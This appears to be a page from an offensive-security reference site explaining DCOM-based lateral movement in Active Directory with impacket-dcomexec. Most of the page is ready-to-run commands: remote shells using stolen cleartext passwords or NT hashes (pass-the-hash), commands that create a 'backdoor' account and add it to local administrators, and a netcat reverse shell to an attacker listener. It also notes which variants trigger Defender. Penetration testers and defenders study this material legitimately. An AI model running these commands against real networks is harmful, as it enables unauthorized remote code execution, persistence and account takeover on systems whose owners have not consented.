# DCOM Lateral Movement

> Explores abusing Windows DCOM interfaces for lateral movement in AD environments, executing remote code via MMC20, ShellWindows, and ShellBrowserWindow objects.

- **URL:** https://hackindex.io/platforms/active-directory/lateral-movement/dcom-lateral-movement
- **Path:** Active Directory > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/active-directory/lateral-movement.md)
- **Published:** 2026-04-30
- **Updated:** 2026-08-11

DCOM-based execution uses Windows Component Object Model infrastructure to invoke methods on remote hosts. Unlike PSExec it does not create a service and unlike WMI it uses a different set of RPC interfaces: making it a useful alternative when specific execution methods are blocked or monitored. It requires local admin on the target and port 135 (RPC endpoint mapper) plus high dynamic ports to be reachable.

`impacket-dcomexec` supports three DCOM objects: `ShellWindows` (default), `MMC20`, and `ShellBrowserWindow`. ShellWindows is the most reliable across modern Windows versions. ShellBrowserWindow does not work on Windows 11. MMC20 triggers Defender alerts on Windows Server 2025.

- Port 135 (RPC endpoint mapper) and high dynamic RPC ports must be reachable
- Local admin required on the target host
- ShellWindows: most reliable across modern Windows versions
- MMC20: triggers Defender on Windows Server 2025
- ShellBrowserWindow: does not work on Windows 11

## Semi-interactive shell via DCOM

Without a command argument, `impacket-dcomexec` drops into a semi-interactive shell. Output is written to a temp file on the target and retrieved over SMB: the same mechanism as wmiexec.

**DCOM shell: cleartext credentials**

```bash
# Default object: ShellWindows
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

# Specify object explicitly
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -object MMC20
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -object ShellWindows

# PowerShell shell instead of cmd
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -shell-type powershell
# C:\Windows\system32> whoami
# corp\jsmith
# C:\Windows\system32> hostname
# WS01
```

## Pass-the-Hash

**DCOM with NT hash**

```bash
# Pass-the-Hash: LM component can be empty (aad3...)
impacket-dcomexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# With specific object
impacket-dcomexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH -object MMC20
# C:\Windows\system32> whoami
# corp\jsmith
```

## Single command execution

Pass a command directly to execute without an interactive session. Use `-nooutput` when the command does not need to return output: this skips the SMB output retrieval step and is faster for fire-and-forget commands like adding a user or staging a file.

**Single command: with and without output**

```bash
# Execute command and retrieve output
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP 'whoami /all'

# Execute without retrieving output (faster for blind execution)
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -nooutput 'net user backdoor Password123! /add'
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -nooutput 'net localgroup administrators backdoor /add'

# Reverse shell via nc (stage nc.exe first or use existing binary)
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -nooutput 'C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd.exe'
```

DCOM execution runs in the context of the authenticated user, not SYSTEM. If you need SYSTEM-level access on the target, use PSExec or SMBExec instead. For a comparison of all remote execution methods see [Remote Execution in Active Directory](https://hackindex.io/platforms/active-directory/lateral-movement/ad-remote-execution).

## References

- [Impacket: GitHub](https://github.com/fortra/impacket) - dcomexec.py: -object, -shell-type, -nooutput flag reference